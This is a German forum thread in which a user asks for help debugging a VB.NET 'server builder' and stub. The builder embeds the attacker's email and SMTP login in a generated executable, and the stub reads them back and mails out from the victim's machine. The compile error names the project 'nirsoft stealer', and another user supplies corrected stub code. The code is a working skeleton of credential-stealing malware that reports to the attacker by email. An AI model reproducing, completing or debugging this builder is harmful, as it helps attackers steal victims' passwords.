(Builder) Strings werden nicht übergeben

[sunny-boy3]

Hallo habe da eine frage hae ein Problem mit meinen Server Builder wen ich den server erstelle bekomme ich zwar ne server.exe aber wen ich diese öffne dan bekomme ich immer ein fehler weil die daten nicht richtig übergeben wurden ich poste mal meine code vllt findet ja jemand den fehler und kann mir weiter helfen

Ich denke das die daten wie email adresse und smtp und soetwas nicht richtig übergeben werden


Ich habe meine Code mal in Highlight Gecodet damit es übersichtlicher ist





Das sind die code von den builder





Dim VB6setting As New Compatibility.VB6.FixedLengthString(100)
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim Addi As String = Mail_Addi.Text
Dim Password As String = Mail_Pass.Text
Dim Smtp As String = Mail_Smtp.Text
Dim Username As String = Mail_User.Text
With SaveFileDialog
.Filter = "Ausführbare Dateien(*.exe)|*.exe*"
.FileName = "Server.exe"
.CheckPathExists = True
End With
If (SaveFileDialog.ShowDialog = Windows.Forms.DialogResult.Cancel) Then
Exit Sub
End If
File (http://www.google.com/search?q=FILE+site:msdn.microsoft.com).Copy(My.App lication.Info.DirectoryPath + "\Stub.exe", SaveFileDialog.FileName)
Dim Trennzeichen As Char = "_"
Dim Einstellungen As New VB6.FixedLengthString(100)
Einstellungen.Value = Addi + Trennzeichen + Password + Trennzeichen + Smtp + Trennzeichen + Username
FileOpen(1, (SaveFileDialog.FileName), OpenMode.Binary)
FilePut(1, Einstellungen.Value, LOF(1) + 1)
FileClose(1)
MessageBox.Show("Server wurde erstellt", "Server Builder", MessageBoxButtons.OK, MessageBoxIcon.Information)








und das von der stub





Public Class Form1
Inherits System.Windows.Forms.Form
Dim BuilderDaten() As String
Dim VB6setting As New Compatibility.VB6.FixedLengthString(100)
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
File (http://www.google.com/search?q=FILE+site:msdn.microsoft.com).Copy(Applic ation.ExecutablePath, My.Application.Info.DirectoryPath + "\StubKopie.exe")
Dim Einstellungen As New VB6.FixedLengthString(100)
FileOpen(1, My.Application.Info.DirectoryPath + "\Stubkopie.exe", OpenMode.Binary)
FileGet(1, Einstellungen.Value, LOF(1) - 99)
FileClose(1)
Dim Trennzeichen As Char = "_"
Dim BuilderDaten As String() = Einstellungen.Value.Split(Trennzeichen)
Dim Addi As String = BuilderDaten(0)
Dim Password As String = BuilderDaten(1)
Dim Smtp As String = BuilderDaten(2)
Dim Username As String = BuilderDaten(3)
Dim oMail As New MailMessage()
SmtpMail.SmtpServer = BuilderDaten(2)
With oMail
.From = BuilderDaten(0)
.To = BuilderDaten(0)
.Subject = "Server Builder"
.Body = "Test"
With .Fields
.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", 1)
.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", BuilderDaten(3))
.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", BuilderDaten(1))
.Add("http://schemas.microsoft.com/cdo/configuration/smtpserverport", 25)
End With
End With
SmtpMail.Send(oMail)

[Sawyer]

FileOpen(1, My.Application.Info.DirectoryPath + "\Stubkopie.exe", OpenMode.Binary)
FileGet(1, Einstellungen.Value, LOF(1) - 99)
FileClose(1)

Dim BuilderDaten As String() = Einstellungen.Value.Split(TrennZeichen)

Dim Addi As String = BuilderDaten (0)
Dim Password As String = BuilderDaten (1)
Dim Smtp As String = BuilderDaten (2)
Dim Username As String = BuilderDaten (3)"Befehle" ist nämlich gar nicht definiert , so wie ich das sehe , außerdem hast du versucht die Einstellungen an variablen zu übergeben , obwohl du sie noch gar nicht ausgelesen hast.

MfG

[sunny-boy3]

Fehler 1 Auf die lokale Variable "BuilderDaten" kann nicht verwiesen werden, bevor sie deklariert ist. C:\Documents and Settings\Administrator\Desktop\stealer\stealer\For m1.vb 29 30 nirsoft stealer

[DarkFire]

Vergessen?

http://img6.imageshack.us/img6/5895/1gdfgfdg.jpg
http://img21.imageshack.us/img21/1787/2gdfgfdg.jpg
http://img14.imageshack.us/img14/6321/3gdfgfdg.jpg
http://img30.imageshack.us/img30/476/4gdfgfdg.jpg

[sunny-boy3]

Vergessen?

http://img6.imageshack.us/img6/5895/1gdfgfdg.jpg
http://img21.imageshack.us/img21/1787/2gdfgfdg.jpg
http://img14.imageshack.us/img14/6321/3gdfgfdg.jpg
http://img30.imageshack.us/img30/476/4gdfgfdg.jpg
Leider nicht

[DarkFire]

Public Class Form1
Inherits System.Windows.Forms.Form
Dim BuilderDaten() As String

Dim VB6setting As New Compatibility.VB6.FixedLengthString(100) 'Kann weg =)


Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load



File.Copy(Application.ExecutablePath, My.Application.Info.DirectoryPath + "\StubKopie.exe")
Dim Einstellungen As New vb6.FixedLengthString(100)

FileOpen(1, My.Application.Info.DirectoryPath + "\Stubkopie.exe", OpenMode.Binary)
FileGet(1, Einstellungen.Value, LOF(1) - 99)
FileClose(1)

Dim Trennzeichen As Char = "_"
Dim BuilderDaten As String() = Einstellungen.Value.Split(Trennzeichen)

Ich würde die Daten erst teilen und dannach an die Strings verteilen ;)

Dim Addi As String = BuilderDaten(0)
Dim Password As String = BuilderDaten(1)
Dim Smtp As String = BuilderDaten(2)
Dim Username As String = BuilderDaten(3)

File.Delete(My.Application.Info.DirectoryPath + "\StubKopie.exe")

[sunny-boy3]

Es ist ja alles ganz in ordnug nur aus irgedeinen Grung werden meine daten nicht richtig an den server.exe übereben